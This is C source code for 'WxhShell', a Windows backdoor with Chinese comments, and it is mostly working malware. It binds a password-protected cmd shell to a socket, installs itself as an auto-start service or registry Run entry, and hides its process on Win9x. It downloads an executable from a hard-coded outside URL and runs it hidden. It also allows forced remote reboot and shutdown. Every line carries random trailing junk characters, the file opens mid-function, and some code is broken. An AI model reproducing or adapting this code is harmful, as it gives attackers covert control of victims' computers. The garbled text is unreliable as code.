    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); HC}D<FX |  
    if(Boot(SHUTDOWN)) ^/mQo`[G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); : bT*cgD{  
    else { 8r)eiERv  
    closesocket(wsh); % NX  
    ExitThread(0); ?i)-K?4Sb  
    } BxO2w1G  
    break; u\&oiwSIP  
    } n4(w?,w }  
  // 获取shell ANp4yy+  
  case 's': { -5kq9Dy\,  
    CmdShell(wsh); sVaWg?=qs'  
    closesocket(wsh); <`*6;j.&  
    ExitThread(0); u=#LY$  
    break; !bT0kP$3}  
  } v?n`kw  
  // 退出 ]n\WCU ]0  
  case 'x': { Fov/?:f$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); t*e+[  
    CloseIt(wsh); ^=E4~22q  
    break; u#la+/   
    } 0!_D M^3  
  // 离开 U|-4*l9Ed  
  case 'q': { w&`gx6?-na  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 76$19  
    closesocket(wsh); +J_A *B  
    WSACleanup(); (. 1<.PZp)  
    exit(1); .l !:|Fd  
    break; D\N-ye1LE  
        } +*!oZKm.  
  } BAdHGwomh  
  } k[y{&f,  
6~;fj+S  
  // 提示信息 9! gmS?f  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wToz{!n  
} J Y %B:  
  } qC.jXU?rO  
;QREwT~H  
  return; 4U C/pGZY  
} pk: ruf`)  
8y~ Jn~t  
// shell模块句柄 Nd^9.6,JU  
int CmdShell(SOCKET sock) '1=/G7g  
{ 0f;L!.eP  
STARTUPINFO si; %jKR\f G  
ZeroMemory(&si,sizeof(si)); @Eqc&v!O  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; g%1!YvS3v  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; roj/GZAy"  
PROCESS_INFORMATION ProcessInfo; <MA!?7Z|  
char cmdline[]="cmd"; (RWZ [-;)  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); V*U"OJ%  
  return 0; ;7tOFsV  
} Rj+}L ~"  
G*\wu&7!  
// 自身启动模式 =h5&\4r=  
int StartFromService(void) $-M1<?5  
{ nU)}!` E  
typedef struct NTs< ;ED  
{ C[n,j#Mvje  
  DWORD ExitStatus; 6(D K\58  
  DWORD PebBaseAddress; DY~~pi~  
  DWORD AffinityMask; {BY`Wu:w  
  DWORD BasePriority; eem.lVVD  
  ULONG UniqueProcessId; @bfaAh~   
  ULONG InheritedFromUniqueProcessId; tvf"w`H  
}   PROCESS_BASIC_INFORMATION; x #BUIi  
N!9DZEcm  
PROCNTQSIP NtQueryInformationProcess; ^dYFFKQ  
Crm](Z?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; QRgWzaI  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; C&zgt :q6}  
s-k~_C>Fw  
  HANDLE             hProcess; 6jPaS!E  
  PROCESS_BASIC_INFORMATION pbi; (gl CTF9v  
C.%iQx`   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); j05ahquI  
  if(NULL == hInst ) return 0; im*QaO%a4  
L.l"'=M  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \dbpC Z  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Vu^J'>X  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); jEit^5^5|  
4-ZiKM  
  if (!NtQueryInformationProcess) return 0; f*2V  
|cWW5\/  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); B/i,QBPF]  
  if(!hProcess) return 0; Q(oWaG  
7.8ukAud  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; RTHdL  
[^1;8Tbk  
  CloseHandle(hProcess); $M$oNOT}Y  
T 7Lk4cU  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9n |H%AC  
if(hProcess==NULL) return 0; xqmJPbA  
EG7ki0  
HMODULE hMod; y 9/27yWB  
char procName[255]; $hg W>e  
unsigned long cbNeeded; q<,?:g$k  
Fr/8q:m &  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); IDdhBdQ  
EOVHTDkKf  
  CloseHandle(hProcess); .6(Bf$E  
?n?Ep[D  
if(strstr(procName,"services")) return 1; // 以服务启动 XH1so1h  
04WKAP'c N  
  return 0; // 注册表启动 pOlQOdl  
} fHlmy[V+M  
JQQD~J1)E  
// 主模块 1 (P >TH  
int StartWxhshell(LPSTR lpCmdLine) +@usJkxul  
{ XHlPjw  
  SOCKET wsl; v|t^th,  
BOOL val=TRUE; rZ w&[ G  
  int port=0; Ij@YOt  
  struct sockaddr_in door; ~" }t8`vP1  
< ynm A  
  if(wscfg.ws_autoins) Install(); \hv*`ukF  
#u|;YC  
port=atoi(lpCmdLine); i. `S0  
N@?Fpmu/k  
if(port<=0) port=wscfg.ws_port; `"A\8)6-  
]Ny.  gu  
  WSADATA data; )I.[@#-  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; wEKm3mY;  
qJ5Y}/r  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Uu }ai."iB  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~WR6rc  
  door.sin_family = AF_INET; afG b}8 Q9  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9t7_7{Q+;  
  door.sin_port = htons(port); SobK<6  
Fg5>CppH  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {B\ar+9>  
closesocket(wsl); )q&uvfQ1(  
return 1; 4q~+K' Z  
} _9\ ayR>d  
QOy+T6en  
  if(listen(wsl,2) == INVALID_SOCKET) { DH)@8)C  
closesocket(wsl); niqiDT/  
return 1; D-E30b]e  
} _2}i8q:  
  Wxhshell(wsl); :E@"4O?<Y)  
  WSACleanup(); -]W AB9  
c<pr1g  
return 0; [M Z'i/  
IUbYw~f3  
} + :iNoDz  
:HMnU37m W  
// 以NT服务方式启动 l_>^LFOA  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8 yB  
{ ;u!>( QQ  
DWORD   status = 0; Mm^o3vl  
  DWORD   specificError = 0xfffffff; l)a]V]oQ  
6yv*AmFh  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ,%v  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ASR"<]  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; xh_6@}D2J  
  serviceStatus.dwWin32ExitCode     = 0; :T5l0h-eC  
  serviceStatus.dwServiceSpecificExitCode = 0; PZeVjL?E  
  serviceStatus.dwCheckPoint       = 0; ;IXDZ#;   
  serviceStatus.dwWaitHint       = 0; xwTN\7f>  
I$9 t^82j  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7evE;KL  
  if (hServiceStatusHandle==0) return; y5BNHweaRb  
8iqx*8}  
status = GetLastError(); o_b j@X  
  if (status!=NO_ERROR) :&&Ps4\Sq  
{ qyp"q{k0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; w# ,:L)  
    serviceStatus.dwCheckPoint       = 0; >9uDY+70I3  
    serviceStatus.dwWaitHint       = 0; hi`\3B  
    serviceStatus.dwWin32ExitCode     = status; R l^ENrv!]  
    serviceStatus.dwServiceSpecificExitCode = specificError; "9&6bBa  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); zRL[.O9  
    return; ! Hdg $,  
  } H2E!A2\m  
K$R1x1lc2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; &]16Hb~  
  serviceStatus.dwCheckPoint       = 0; Z +(V'e;  
  serviceStatus.dwWaitHint       = 0; "_}Hzpy5k  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~Pv4X2MO  
} j'X]bd'  
\&Mipf7a  
// 处理NT服务事件,比如:启动、停止 1EyM,$On  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #-f7hg*  
{  H.'MQ  
switch(fdwControl) .FXq4who  
{ %_KNAuM  
case SERVICE_CONTROL_STOP: ;ZFn~!V  
  serviceStatus.dwWin32ExitCode = 0; kJZBQ<^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; HZkC3$  
  serviceStatus.dwCheckPoint   = 0; Ac^}wXp  
  serviceStatus.dwWaitHint     = 0; _F;(#D  
  { ;rV0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ) e;)9~  
  } z,X ^;  
  return; 6^if%62l&  
case SERVICE_CONTROL_PAUSE: V[HHP_  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {y`afuiB  
  break; R1&(VK{  
case SERVICE_CONTROL_CONTINUE: O5{ >k  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; O-U_Zx0zd  
  break; [ 3]!*Cd  
case SERVICE_CONTROL_INTERROGATE: .B6$U>>NS^  
  break; O<)"k j 7  
}; Z>wg o@z%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !FA^~  
} 4 "@BbVYR  
.%M=dL>  
// 标准应用程序主函数 %)i?\(/  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) p*-o33Ve  
{ T,TKt%  
_$9<N5F.,o  
// 获取操作系统版本 13'tsM&  
OsIsNt=GetOsVer(); kbI:}b7H  
GetModuleFileName(NULL,ExeFile,MAX_PATH); n-#?6`>a  
QG4#E$ c  
  // 从命令行安装 _E{SGbCCi  
  if(strpbrk(lpCmdLine,"iI")) Install(); J&@[=zBYw  
S5-}u)XnH  
  // 下载执行文件 "6gu6f  
if(wscfg.ws_downexe) { )z=`,\&p:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) S=0zP36kH:  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]mn(lK  
} 0"ZB|^c=  
kgEGL]G>  
if(!OsIsNt) { G!ty@ Fx  
// 如果时win9x,隐藏进程并且设置为注册表启动 s~6?p% 2]  
HideProc(); 0N;Pb(%7UU  
StartWxhshell(lpCmdLine); "e&S*8QhM  
} k =ru) _$2  
else z%}^9  
  if(StartFromService()) Qx>S>f  
  // 以服务方式启动 /E2/3z  
  StartServiceCtrlDispatcher(DispatchTable); :y"Zc1_E  
else j\P47q'v#  
  // 普通方式启动 w3:Y]F.ot  
  StartWxhshell(lpCmdLine); _WVeb}  
#c5G"^)z  
return 0; NFDi2L>Ba  
} Y`uL4)hR5  
;4z6="<Y  
%t([  
0vqXLFf   
=========================================== pfe9 n[  
?>*i8*  
p,* rVz[Y  
^+Ie   
#VgPg5k.<  
Dr^#e  
" +#"CgZ]  
[;7&E{,C  
#include <stdio.h> $A`D p{e"  
#include <string.h> Xjt/ G):L  
#include <windows.h> =nh/w#  
#include <winsock2.h> Q0Y0Zt,h  
#include <winsvc.h> wcspqC"_  
#include <urlmon.h> c*'D  
qSlC@@.>  
#pragma comment (lib, "Ws2_32.lib") [>A%%  
#pragma comment (lib, "urlmon.lib") fLa 7d?4  
P 5yS`v$@  
#define MAX_USER   100 // 最大客户端连接数 .RxH-]xk  
#define BUF_SOCK   200 // sock buffer V2W)%c'  
#define KEY_BUFF   255 // 输入 buffer I0h/x5  
puV(eG  
#define REBOOT     0   // 重启 ytf.$P  
#define SHUTDOWN   1   // 关机 uLD%M av  
U]riBlg>  
#define DEF_PORT   5000 // 监听端口 _8vq]|rC  
Du k v[/60  
#define REG_LEN     16   // 注册表键长度 wN-3@  
#define SVC_LEN     80   // NT服务名长度 R*`A',]:9  
i(Cd#1<  
// 从dll定义API 02g}}{be8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4nmc(CHQ:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); g""1f%U_p  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); g)u ~GA*=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +/'3=!oyd  
U iqHUrx  
// wxhshell配置信息 oyZ}JTl( Q  
struct WSCFG { <5?.s< y$"  
  int ws_port;         // 监听端口 FX`SaY>D  
  char ws_passstr[REG_LEN]; // 口令 byR|L:L  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4eMNKIsvY$  
  char ws_regname[REG_LEN]; // 注册表键名  /~yk  
  char ws_svcname[REG_LEN]; // 服务名 vn}:$|r$J  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 p&/}0eL y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7%) F]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 L=nyloz,0  
int ws_downexe;       // 下载执行标记, 1=yes 0=no LE%3.. !  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" QCIH1\`jW  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %e.tAl"!$  
"a %5on  
}; k\8]fh)J\7  
$-H#M] Gq  
// default Wxhshell configuration vY&[=2=  
struct WSCFG wscfg={DEF_PORT, 78&jaw*1A  
    "xuhuanlingzhe", {s&6C-  
    1, ~1jSz-s  
    "Wxhshell", @iWql*K;m  
    "Wxhshell", 8Ux3,X=  
            "WxhShell Service", 'B ocMjRA  
    "Wrsky Windows CmdShell Service", *Hx{eqC  
    "Please Input Your Password: ", RoCX*3d  
  1, qN% i$mJTo  
  "http://www.wrsky.com/wxhshell.exe", A0Pg|M  
  "Wxhshell.exe" tu8n1W  
    }; &i179Qg!  
xs y5"  
// 消息定义模块 &,/_"N"?D  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #!(OTe L  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6}zargu(;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; c193Or'6Y  
char *msg_ws_ext="\n\rExit.";  MO|aN,  
char *msg_ws_end="\n\rQuit."; [}Vne;V  
char *msg_ws_boot="\n\rReboot..."; $a|C/s+}7>  
char *msg_ws_poff="\n\rShutdown..."; LxaR1E(Cc'  
char *msg_ws_down="\n\rSave to "; CBz$N)f  
*Y8nea^$  
char *msg_ws_err="\n\rErr!"; OPH f9T3H  
char *msg_ws_ok="\n\rOK!"; oKjQ? 4  
GY@(%^  
char ExeFile[MAX_PATH]; !8S $tk  
int nUser = 0; I/:M~ b  
HANDLE handles[MAX_USER];  0IO#h{t  
int OsIsNt; O}5mDx  
qP=4D 9 ]  
SERVICE_STATUS       serviceStatus; J%]< /J  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; L6S!?t.{Yv  
vDl6TKXcu  
// 函数声明 _P9T h#UAg  
int Install(void);  ,U':=8  
int Uninstall(void); 3~v' Ev  
int DownloadFile(char *sURL, SOCKET wsh); Sxo9y0K8-  
int Boot(int flag); 's#"~<L^e  
void HideProc(void); y^pzqv  
int GetOsVer(void); 7@iyO7U  
int Wxhshell(SOCKET wsl); `(NMHXgG+  
void TalkWithClient(void *cs); Dg(882#_  
int CmdShell(SOCKET sock); =w&JDj  
int StartFromService(void); ?[{_*qh  
int StartWxhshell(LPSTR lpCmdLine); vZ3/t8$*  
S-@E  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >Wvb!8N  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7J?`gl&C  
$KDH"J  
// 数据结构和表定义 y!JZWq%=  
SERVICE_TABLE_ENTRY DispatchTable[] = ^PHWUb+``  
{ Ovu!G q  
{wscfg.ws_svcname, NTServiceMain}, [AgS@^"sf5  
{NULL, NULL} eaSf[!24"  
}; GddP)l{uCF  
 zE$KU$  
// 自我安装 VE3,k'^v  
int Install(void) R)4L]ZF  
{ Xi vzhI4  
  char svExeFile[MAX_PATH]; \H <k  
  HKEY key; Y v22,|:  
  strcpy(svExeFile,ExeFile); &)Y26*(`  
HAa$ pGb  
// 如果是win9x系统,修改注册表设为自启动  5`];[M9  
if(!OsIsNt) { E2J.t`H  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !5 8j xh  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q=Cc2|Ve  
  RegCloseKey(key); ~@g7b`t=la  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gG5@ KD6k  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~:8}Bz2!5  
  RegCloseKey(key); s az<NT  
  return 0; Tp7*T8  
    } 8)n799<.  
  } !e+ex"7  
} w#ha ^4  
else { o1I8l7  
PU| X+V>  
// 如果是NT以上系统,安装为系统服务 `yiw<9yp2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Cbw@:+%J{  
if (schSCManager!=0) aH@GhI^@  
{ zW[fHa$m  
  SC_HANDLE schService = CreateService ibe#Y  
  ( @&H Tt  
  schSCManager, liu%K9-r  
  wscfg.ws_svcname, !=sM `(=~  
  wscfg.ws_svcdisp, ^eu={0k  
  SERVICE_ALL_ACCESS, ]r 6S|;:  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , R`%C]uG  
  SERVICE_AUTO_START, )L^GGy8w  
  SERVICE_ERROR_NORMAL, |#uA(V  
  svExeFile, @JFfyQ {-  
  NULL, -44{b<:D  
  NULL, !cblmF;0  
  NULL, zT _  
  NULL, BT[jD}?  
  NULL <~wr;"S  
  ); 5!GL"  
  if (schService!=0) fyb:eO}  
  { h?UUd\RU)  
  CloseServiceHandle(schService); T&@xgj|!)  
  CloseServiceHandle(schSCManager); WKjE^u  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); d5aG6/  
  strcat(svExeFile,wscfg.ws_svcname); ){'Ef_/R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @D:$~4ks  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); o u%Xnk~  
  RegCloseKey(key); Q[5j5vry  
  return 0; TV^m1uC  
    } 2h Wtpus  
  } h?cf)L  
  CloseServiceHandle(schSCManager); fU?P__zU4  
} e15_$M;RW  
} .rfKItd  
Z %?: CA  
return 1; >b6!*Lrhs  
} T ~=r*4  
?_hKhn%K9  
// 自我卸载 A:{PPjs%LA  
int Uninstall(void) 6 GL.bS  
{ (f Gmjx  
  HKEY key; sR(or=ub~  
m6'VMW  
if(!OsIsNt) { H83Gx;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *OoM[wEY  
  RegDeleteValue(key,wscfg.ws_regname); \U(;%V  
  RegCloseKey(key); >%x N?%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fMGL1VN  
  RegDeleteValue(key,wscfg.ws_regname); /&PRw<}>_o  
  RegCloseKey(key); EL--?<g  
  return 0; CJn{tP  
  } M|HW$8V3_2  
} (4;m*' X  
} C2$_Ad=s  
else { y,D@[*~Xb  
ly!vbpE_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]VuB2L[D  
if (schSCManager!=0) O/Q7{5n  
{ wNNInS6  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Q~p)@[q  
  if (schService!=0) 25:[VH$:4  
  { T4 :UJj}  
  if(DeleteService(schService)!=0) { x%J4A+kU  
  CloseServiceHandle(schService); tBJCfM  
  CloseServiceHandle(schSCManager); H8$l }pOz  
  return 0; U- b(  
  } PT t#Ixn,  
  CloseServiceHandle(schService); @e`%'  
  } >M2~BDZ  
  CloseServiceHandle(schSCManager); 7yUtG^'b  
} EISgc {s  
} z' oK 0"  
O~wZU Zf  
return 1; pfs'2AFj  
} CtEpS<*c  
TnuNoMD.  
// 从指定url下载文件 !+<OED=qe  
int DownloadFile(char *sURL, SOCKET wsh) Z}b25)  
{ E:_m6 m  
  HRESULT hr; D'F j"&LK  
char seps[]= "/"; qdss(LZ  
char *token; \3WF-!xe  
char *file; .el&\Jt  
char myURL[MAX_PATH]; ()Tl\  
char myFILE[MAX_PATH]; pm)kocG  
Wqy\yS [  
strcpy(myURL,sURL); =sp5.-r  
  token=strtok(myURL,seps); =hw&2c  
  while(token!=NULL) _m?TEq B  
  { ~!t#M2Sk  
    file=token; :!'!V>#g  
  token=strtok(NULL,seps); 3Ygt!  
  } 4V6^@   
'<$!?="  
GetCurrentDirectory(MAX_PATH,myFILE); [Yi;k,F:  
strcat(myFILE, "\\"); }|KNw*h $  
strcat(myFILE, file); @zQ.d{  
  send(wsh,myFILE,strlen(myFILE),0); d ynq)lf  
send(wsh,"...",3,0); 5{PT  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); yA+ NRWWj  
  if(hr==S_OK) 88]4 GVi  
return 0; NZ|(#` X  
else bXiOf#:''  
return 1; cs-wqxTX[$  
?W27 h  
} /s/\5-U7q  
zUQn*Cio e  
// 系统电源模块 kWSei3  
int Boot(int flag) o0Z~9iF&  
{ 4\#b@1]}  
  HANDLE hToken; EC:u;2f!  
  TOKEN_PRIVILEGES tkp; p%ve1>c  
VR'R7  
  if(OsIsNt) { GR%h3HO2&  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); XCo3pB Wq~  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :l;SG=scx  
    tkp.PrivilegeCount = 1; w3<%wN>tE  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0gIJ&h6*f  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ?q*,,+'0  
if(flag==REBOOT) { r;7&U<j~Z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]ChGi[B~9  
  return 0; ]%Db%A  
} :`Z'vRj  
else { m9Pzy^g1  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ='[J.  
  return 0; \nzaF4+$  
} C"gH>G  
  } gP 13n!7  
  else { 3g{T+c*  
if(flag==REBOOT) { ;^"#3_7T]  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) SjmWlf,  
  return 0; ozCH1V{p  
} cns~)j~  
else { 5McOSy  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) U65a _dakk  
  return 0; ^*$lCUv8p  
} E S>iM)M  
} [YTOrN  
N!Q~?/!d  
return 1; #}lq2!f6  
} !vY5X2?tr,  
`Lr I^9Z  
// win9x进程隐藏模块 _!K@( dl  
void HideProc(void) 32S5Ai@Cd"  
{ &*\-4)Tf  
'CfM'f3uu  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); e.>>al  
  if ( hKernel != NULL ) Py! F  
  { Z /*X)mBuB  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); b\.l!vn0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8o7%qWX  
    FreeLibrary(hKernel); 3 {OZdl|  
  } P.t0o~hoK;  
o-ee3j.  
return; B*-A erdH  
} !xRboPg  
U#mrbW  
// 获取操作系统版本 2@jlF!zC  
int GetOsVer(void) M&h`uO/[  
{ >39\u &)  
  OSVERSIONINFO winfo; JA]qAr  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); I7-6|J@#^  
  GetVersionEx(&winfo); k3- 7Vyg  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +8zC ol?j  
  return 1; BXx l-x  
  else P-LdzVt(^  
  return 0; )zMsKfQ  
} cg| C S?  
qN@-H6D1=  
// 客户端句柄模块 _yu_Ev}R  
int Wxhshell(SOCKET wsl) }~bx==SF6!  
{ 1=^edQ+   
  SOCKET wsh; BIn7<.&  
  struct sockaddr_in client; ;XDGlv%  
  DWORD myID; OGGuVY  
*B0 7-  
  while(nUser<MAX_USER) +]*hzWbe  
{ vUD>+*D  
  int nSize=sizeof(client); ?E|be )  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )2Dm{T  
  if(wsh==INVALID_SOCKET) return 1; })TXX7[h  
(\A~SKEX  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); E!6Nf[  
if(handles[nUser]==0) M!Wjfq ^~  
  closesocket(wsh); a(|,KWHn  
else e"u89acp  
  nUser++; ,b!]gsds  
  } F8En )#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 47 |&(,{  
eN Y?  
  return 0; cpJ(77e  
} AfqthI$*m  
H]a@"gO  
// 关闭 socket rD*CLq K  
void CloseIt(SOCKET wsh) /)LI1\ o  
{ r)/nx@x  
closesocket(wsh); :dM eNM-  
nUser--; O~L/>Ya  
ExitThread(0); w`a(285s)i  
} ZL^ svGy  
"<^]d~a_  
// 客户端请求句柄 O<}KrmUC~  
void TalkWithClient(void *cs) n| [RXpAp3  
{ jv5Os-  
i3usZ{_r  
  SOCKET wsh=(SOCKET)cs; w}:&+B:  
  char pwd[SVC_LEN]; s<`54o ,  
  char cmd[KEY_BUFF]; nLjc.Z\Bl  
char chr[1]; TQiDbgFo  
int i,j; {klyVb  
z&W5@6")`  
  while (nUser < MAX_USER) { uHu(   
A DW>  
if(wscfg.ws_passstr) { =3R5m>6!/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f!D~aJ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tI;pdR]  
  //ZeroMemory(pwd,KEY_BUFF); |`c=`xK7'  
      i=0; n>##,o|Vr#  
  while(i<SVC_LEN) { r[votdFo  
~L3]Wa.  
  // 设置超时 B 4my  
  fd_set FdRead; j?gsc Q3  
  struct timeval TimeOut; -< RG'I~  
  FD_ZERO(&FdRead); S mjg[  
  FD_SET(wsh,&FdRead); 48t_?2>  
  TimeOut.tv_sec=8; Q ,6[  
  TimeOut.tv_usec=0; D$$,T.'u  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -'wFaW0%I  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (;1Pgh  
 $% 5f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GJB= 5nE  
  pwd=chr[0]; e/nc[  
  if(chr[0]==0xd || chr[0]==0xa) { Ljq!\D  
  pwd=0; dLnu\bSF  
  break; ,f2tG+P  
  } [7|j:!  
  i++; tMnwY'  
    } Rd|xw%R\mb  
fD:>cje  
  // 如果是非法用户,关闭 socket /'uFX,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); SPEDN}/^  
} [ta3sEPjs  
@ApX43U(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);  d(>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )?qH#>mD6  
tMQz'3,X  
while(1) { Qk_` IlSd  
$Afw]F$  
  ZeroMemory(cmd,KEY_BUFF); 9YjO  
e|&}{JP{[  
      // 自动支持客户端 telnet标准   #Emz9qTsce  
  j=0; SGUu\yS&s  
  while(j<KEY_BUFF) { LnY`f -H  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [Dou%\  
  cmd[j]=chr[0]; )VoQ/ch<  
  if(chr[0]==0xa || chr[0]==0xd) { <6L=% \X{*  
  cmd[j]=0; ;;cPt44s  
  break; qZ79IX'y  
  } F')fi0=  
  j++; sM0o,l(5  
    } "2FI3M =  
QTKN6P  
  // 下载文件 \'AS@L"Wj^  
  if(strstr(cmd,"http://")) { sKU?"|G81G  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,*}5xpX  
  if(DownloadFile(cmd,wsh)) 7Rix=*  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @Y8/#6KE  
  else ( 8}'JvSu  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hr)CxsPoRQ  
  } #FL\9RXy  
  else { jh|4Y(  
SSh=r  
    switch(cmd[0]) { +&:?*(?Q  
  v!b 8_0~u6  
